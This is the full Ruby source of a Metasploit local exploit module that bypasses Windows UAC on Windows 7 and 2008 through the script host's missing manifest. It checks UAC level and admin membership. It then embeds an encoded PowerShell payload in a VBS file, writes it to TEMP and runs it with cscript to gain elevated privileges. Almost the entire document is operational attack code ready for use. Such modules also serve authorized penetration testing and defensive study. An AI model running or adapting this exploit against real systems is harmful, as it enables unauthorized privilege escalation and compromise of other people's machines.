Windows Escalate UAC Protection Bypass

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Exploit::FileDropper  
include Exploit::Powershell  
include Post::File  
include Post::Windows::Priv  
include Post::Windows::Runas  
  
def initialize(info={})  
super( update_info( info,  
'Name' => 'Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)',  
'Description' => %q{  
This module will bypass Windows UAC by utilizing the missing .manifest on the script host  
cscript/wscript.exe binaries.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Vozzie',  
'Ben Campbell'  
],  
'Platform' => [ 'win' ],  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' => [  
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]  
],  
'DefaultTarget' => 0,  
'References' => [  
[  
'URL', 'http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html',  
'URL', 'https://github.com/Vozzie/uacscript'  
]  
],  
'DisclosureDate'=> 'Aug 22 2015'  
))  
  
end  
  
def exploit  
# Validate that we can actually do things before we bother  
# doing any more work  
validate_environment!  
check_permissions!  
  
# get all required environment variables in one shot instead. This  
# is a better approach because we don't constantly make calls through  
# the session to get the variables.  
env_vars = get_envs('TEMP', 'WINDIR')  
  
case get_uac_level  
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,  
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,  
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT  
fail_with(Failure::NotVulnerable,  
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..."  
)  
when UAC_DEFAULT  
print_good('UAC is set to Default')  
print_good('BypassUAC can bypass this setting, continuing...')  
when UAC_NO_PROMPT  
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')  
shell_execute_exe  
return  
end  
  
vbs_filepath = "#{env_vars['TEMP']}\\#{rand_text_alpha(8)}.vbs"  
  
upload_vbs(vbs_filepath)  
  
cmd_exec("cscript.exe //B #{vbs_filepath}")  
end  
  
def check_permissions!  
# Check if you are an admin  
vprint_status('Checking admin status...')  
admin_group = is_in_admin_group?  
  
if admin_group.nil?  
print_error('Either whoami is not there or failed to execute')  
print_error('Continuing under assumption you already checked...')  
else  
if admin_group  
print_good('Part of Administrators group! Continuing...')  
else  
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')  
end  
end  
  
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]  
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')  
end  
end  
  
def upload_vbs(payload_filepath)  
vbs = File.read(File.join(Msf::Config.data_directory,  
'exploits',  
'scripthost_uac_bypass',  
'bypass.vbs'))  
  
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true)  
  
vbs.gsub!('COMMAND', command)  
print_status('Uploading the Payload VBS to the filesystem...')  
begin  
vprint_status("Payload VBS #{vbs.length} bytes long being uploaded..")  
write_file(payload_filepath, vbs)  
register_file_for_cleanup(payload_filepath)  
rescue Rex::Post::Meterpreter::RequestError => e  
fail_with(Failure::Unknown, "Error uploading file #{payload_filepath}: #{e.class} #{e}")  
end  
end  
  
def validate_environment!  
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?  
  
winver = sysinfo['OS']  
  
case winver  
when /Windows (7|2008)/  
print_good("#{winver} may be vulnerable.")  
else  
fail_with(Failure::NotVulnerable, "#{winver} is not vulnerable.")  
end  
  
if is_uac_enabled?  
print_status('UAC is Enabled, checking level...')  
else  
unless is_in_admin_group?  
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')  
end  
end  
end  
end  
`